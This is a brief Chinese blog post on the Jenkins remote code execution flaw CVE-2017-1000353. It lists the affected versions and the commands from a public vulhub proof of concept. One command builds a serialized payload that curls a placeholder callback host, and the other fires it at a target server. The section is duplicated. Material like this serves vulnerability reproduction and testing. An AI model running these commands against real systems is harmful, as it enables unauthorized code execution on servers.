CVE-2017-1000353_Jenkins-CI_遠程代碼執行漏洞

2021年7月15日发布

000

# CVE-2017-1000353 Jenkins-CI 遠程代碼執行漏洞

==影響版本==

Jenkins<=2.56
Jenkins LTS <= 2.46.1

==POC==
https://github.com/vulhub/CVE-2017-1000353

java  -jar  CVE-2017-1000353-SNAPSHOT-all.jar  jenkins_poc.ser  "curl http://xxx.ceye.io"

python exploit.py http://x.x.x.x:8080 jenkins_poc.ser

==影響版本==

Jenkins<=2.56
Jenkins LTS <= 2.46.1

==POC==
https://github.com/vulhub/CVE-2017-1000353

java  -jar  CVE-2017-1000353-SNAPSHOT-all.jar  jenkins_poc.ser  "curl http://xxx.ceye.io"

python exploit.py http://x.x.x.x:8080 jenkins_poc.ser

文章版权归作者所有，未经允许请勿转载。

THE END

喜欢就支持一下吧

暂无评论内容

1大华 evo-runs/v1.0/receive RCE